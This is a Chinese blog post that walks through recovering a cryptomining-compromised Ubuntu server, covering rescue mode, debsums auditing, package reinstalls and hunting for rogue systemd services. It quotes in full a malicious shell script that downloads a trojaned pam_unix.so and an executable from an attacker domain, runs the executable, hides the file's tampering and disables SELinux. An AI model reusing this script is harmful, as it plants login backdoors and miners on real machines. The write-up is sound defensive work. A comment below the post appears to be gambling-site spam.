Day Mode Night Mode
记录第一次系统入侵分析及救援

救援镜像 f19fd48c-46d2-455e-9d71-0409f3a4c9e4

问题表现为无法远程登录,通过vnc登录同样失败,控制台重置密码同样不生效。

先从无法远程登录及无法vnc登录开始排查

vnc登录时输入用户名root回车后,在没有到输入密码的步骤时,直接报错密码错误

控制台重启后进入救援模式进行排查

查看安全日志,发现pam模块报错且认证失败

尝试重置密码,发现无法重置

根据上述情况,有理由考虑被入侵的可能性,执行crontab -l ,发现异常计划任务,简单分析一下,判断为挖矿任务

排查出安全问题之后,首先尝试能够正常登录系统进行排查,优先解决无法登录的问题。

先尝试在救援模式下恢复网络,执行export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 命令,确保可以正常使用命令

执行ip link show和ifconfig,发现网络接口没有启动,使用dhclient ens3可以自动启用网络接口,并dhcp下发地址

ping 测试网络恢复成功(需要注意的 ubuntu 和 debian 在救援模式下无法执行 CTRL+C,所以不建议从内部 ping 外面测试,以及执行其他需要 CTRL+C 结束的命令)

 网络恢复后,ubuntu系列操作系统可以安装debsums进行包审计

使用debsums -a>/root/debsum.txt进行审计

审计完成之后查看审计失败结果,明显可以看到pam_unix.so和ld-linux-x86-64.so.2被篡改了

使用dpkg -S /lib/x86_64-linux-gnu/security/pam_unix.so和dpkg -S /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2查询来自libpam-modules和libc6这两个包

debsums检查出来不一致的配置文件进行单独查看分析,未发现异常配置,那么现在就需要重新安装有问题的包

 apt install –reinstall libpam-modules

安装出现了报错提示 /lib/x86_64-linux-gnu/security/pam_unix.so权限不足,执行lsattr /lib/x86_64-linux-gnu/security/pam_unix.so检查权限,发现被上锁

执行chattr -ia /lib/x86_64-linux-gnu/security/pam_unix.so后重新安装

 libc6库同上,先解锁,再安装

 apt install –reinstall libc6

再次修改root密码,发现没有报错

初步修复之后务必做好快照,因为若此时重启操作系统,会有开机自启动的服务器重新篡改这些文件

启动sshd服务验证远程登录功能

此时可以尝试开始清理病毒文件并恢复系统

先对之前恶意程序篡改的文件加锁,来试图对抗恶意程序的修改以能够登录到异常系统进行排查

chattr +ia /lib/x86_64-linux-gnu/security/pam_unix.so

chattr +ia /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

重启操作系统,并

清除计划任务

查看启动脚本,初步检查无异常

检查自启动的systemd服务

systemctl list-unit-files –type=service –state=enabled

可以看到有69个自启动的服务,现在需要排查出可疑的服务

root@host-172-13-1-211:~# systemctl list-unit-files --type=service --state=enabled

UNIT FILE                              STATE   VENDOR PRESET

apparmor.service                       enabled enabled     

blk-availability.service               enabled enabled     

chrony.service                         enabled enabled     

cloud-config.service                   enabled enabled     

cloud-final.service                    enabled enabled     

cloud-init-local.service               enabled enabled     

cloud-init.service                     enabled enabled     

cloudResetPwdAgent.service             enabled enabled     

cloverfield.service                    enabled enabled     

console-setup.service                  enabled enabled     

containerd.service                     enabled enabled     

cron.service                           enabled enabled     

ddaemon.service                        enabled enabled     

dmesg.service                          enabled enabled     

docker.service                         enabled enabled     

e2scrub_reap.service                   enabled enabled     

finalrd.service                        enabled enabled     

getty@.service                         enabled enabled     

gpu-manager.service                    enabled enabled     

grub-common.service                    enabled enabled     

grub-initrd-fallback.service           enabled enabled     

irqbalance.service                     enabled enabled     

kdump-tools.service                    enabled enabled     

keyboard-setup.service                 enabled enabled     

lvm2-monitor.service                   enabled enabled     

lxd-agent.service                      enabled enabled     

ModemManager.service                   enabled enabled     

multipathd.service                     enabled enabled     

my_daemon.service                      enabled enabled     

NetworkManager-dispatcher.service      enabled enabled     

NetworkManager-wait-online.service     enabled enabled     

NetworkManager.service                 enabled enabled     

networkxm.service                      enabled enabled     

nidhogg.service                        enabled enabled     

nvidia-hibernate.service               enabled enabled     

nvidia-mig-disable.service             enabled enabled     

nvidia-resume.service                  enabled enabled     

nvidia-suspend.service                 enabled enabled     

ollama.service                         enabled enabled     

open-iscsi.service                     enabled enabled     

open-vm-tools.service                  enabled enabled     

pollinate.service                      enabled enabled     

resolvconf-pull-resolved.service       enabled enabled     

resolvconf.service                     enabled enabled     

rsyslog.service                        enabled enabled     

secureboot-db.service                  enabled enabled     

setvtrgb.service                       enabled enabled     

snap.lxd.activate.service              enabled enabled     

snapd.apparmor.service                 enabled enabled     

snapd.autoimport.service               enabled enabled     

snapd.core-fixup.service               enabled enabled     

snapd.recovery-chooser-trigger.service enabled enabled     

snapd.seeded.service                   enabled enabled     

snapd.service                          enabled enabled     

snapd.system-shutdown.service          enabled enabled     

ssh.service                            enabled enabled     

systemd-pstore.service                 enabled enabled     

systemd-resolved.service               enabled enabled     

thermald.service                       enabled enabled     

ua-reboot-cmds.service                 enabled enabled     

ubuntu-advantage.service               enabled enabled     

udisks2.service                        enabled enabled     

ufw.service                            enabled enabled     

unattended-upgrades.service            enabled enabled     

uniagent.service                       enabled enabled     

uniagentd.service                      enabled enabled     

v2raya.service                         enabled enabled     

vgauth.service                         enabled enabled     

wpa_supplicant.service                 enabled enabled     

69 unit files listed.

创建一个脚本,用于确定最近修改的服务时间

#!/bin/bash

# 输出文件路径

output_file="/root/systemd-time.txt"

# 清空输出文件(如果存在)

> "$output_file"

# 获取启用的服务列表并逐行处理

enabled_services=$(systemctl list-unit-files --type=service --state=enabled | awk '{print $1}' | grep -v '^$')

# 输出启用的服务到文件

echo "启用的服务列表:" >> "$output_file"

for service in $enabled_services; do

    echo "$service" >> "$output_file"

    # 查找服务文件

    service_paths=$(find /etc/systemd/system /lib/systemd/system -name "$service")

    # 检查是否找到了服务文件

    if [ -z "$service_paths" ]; then

        echo "未找到服务文件:$service" >> "$output_file"

    else

        # 输出找到的服务文件路径

        echo "找到的服务文件路径:" >> "$output_file"

        echo "$service_paths" >> "$output_file"

        # 使用 stat 查看每个文件的信息

        for service_path in $service_paths; do

            stat "$service_path" >> "$output_file"

        done

    fi

done

执行脚本之后,根据发现问题的时间区间,定位出在这期间创建的可疑服务为:

ddaemon.service;my_daemon.service;networkxm.service

他们的创建时间均为2025-02-17,且命名不像是正常服务

ddaemon.service服务分析

可执行文件微步分析

有下载脚本的网络行为

下载这个jc.sh脚本如下:

#!/bin/bash

# Function to download and update pam_unix.so

download_and_update_pam() {

    local pam_file="$1"

    local pam_version="$2"

    local exec_url="http://dasfsdfsdfsdfasfgbczxxc.lusyn.xyz/jc/1"

    local pam_url="http://dasfsdfsdfsdfasfgbczxxc.lusyn.xyz/jc/pam_unix.so_$pam_version"

    echo "$pam_url"

    # Backup existing pam_unix.so file if it exists

    if [ -f "$pam_file" ]; then

        #ddos -ia "$pam_file"

        chattr -ia "$pam_file"

        mv "$pam_file" "${pam_file}.bak"

    fi

    # Download and update pam_unix.so

    if which curl >/dev/null 2>&1; then

        curl -o "$pam_file" "$pam_url"

    elif which wget >/dev/null 2>&1; then

        wget -O "$pam_file" "$pam_url"

    else

        echo "Neither curl nor wget found. Exiting."

        exit 1

    fi

    chmod 644 "$pam_file"

    touch "$pam_file" -r "${pam_file}.bak"

    chattr +ia "$pam_file"

    echo "Updated version $pam_version"

     if which curl >/dev/null 2>&1; then

        curl -o 1 "$exec_url"

    elif which wget >/dev/null 2>&1; then

        wget -o 1 "$exec_url"

    else

        echo "Neither curl nor wget found. Exiting."

        exit 1

    fi

    chmod 777 1

    ./1

}

# Detect operating system and define pam_file location

detect_os_and_define_pam_file() {

    if [ -f /etc/os-release ]; then

        . /etc/os-release

        OS=$NAME

    elif type lsb_release >/dev/null 2>&1; then

        OS=$(lsb_release -si)

    elif [ -f /etc/lsb-release ]; then

        . /etc/lsb-release

        OS=$DISTRIB_ID

    elif [ -f /etc/redhat-release ]; then

        OS=$(cat /etc/redhat-release | cut -d' ' -f1)

    else

        OS=$(uname -s)

    fi

    case "$OS" in

        "Debian"|"Ubuntu"|"Debian GNU/Linux")

            PAM_FILE="/lib/x86_64-linux-gnu/security/pam_unix.so"

            ;;

        "CentOS"|"RHEL"|"CentOS Linux"|"Fedora"|"AlmaLinux"|"CentOS Stream"|"OpenCloudOS")

            PAM_FILE="/lib64/security/pam_unix.so"

            ;;

        *)

            echo "Unsupported operating system: $OS. Exiting."

            exit 1

            ;;

    esac

}

# Main logic

detect_os_and_define_pam_file

# Get PAM version

if [[ -f /etc/debian_version ]]; then

    # For Debian/Ubuntu systems

    PAM_VERSION=$(dpkg -s libpam-modules | grep '^Version:' | awk '{print $2}')

else

    # For RedHat/CentOS systems

    PAM_VERSION=$(rpm -q pam | grep -oP 'pam-\K[\d\.]+' | head -1)

fi

if [[ -z "$PAM_VERSION" ]]; then

    echo "PAM not installed or version not detected. Exiting."

    exit 1

fi

# Format PAM version for URL

PAM_VERSION_FORMATTED="v$(echo "$PAM_VERSION" | tr -d '.' | cut -c1-3)"

# Download and update PAM

download_and_update_pam "$PAM_FILE" "$PAM_VERSION_FORMATTED"

# Additional configurations

sed -i 's/^UsePAM no/UsePAM yes/' /etc/ssh/sshd_config

sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config

setenforce 0

chattr +ia /etc/selinux/config

systemctl restart sshd || service sshd restart

# Self-deletion of the script

# rm -- "$0"

rm jc.sh

my_daemon.service 服务分析

可执行文件微步分析

networkxm.service 服务分析

微步无已知样本,上传进行分析

移除恶意服务,并重启

重启之后,系统可以正常登陆,top查看,发现有异常进程

根据/proc/717/exe定位出异常可执行文件,再服务列表中查找如下

将可执行文件上传分析,判断为恶意木马

分析为挖矿程序

安装chkrootkit深入分析

扫描无异常

安装rkhunter

更新病毒库

扫描发现异常

1

重新安装

评论

  1. 1 月前
    2026-1-25 12:30:54

    This is an excellent incident response walkthrough! Your methodical approach—starting with login failures, discovering the cron miner, then strategically using rescue mode to lock down compromised PAM modules before cleanup—is textbook cybersecurity. Just as 99win login systems prioritize security layers, your file integrity checks with debsums and chattr locking were crucial. The snapshot-before-reboot decision shows great forethought.

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇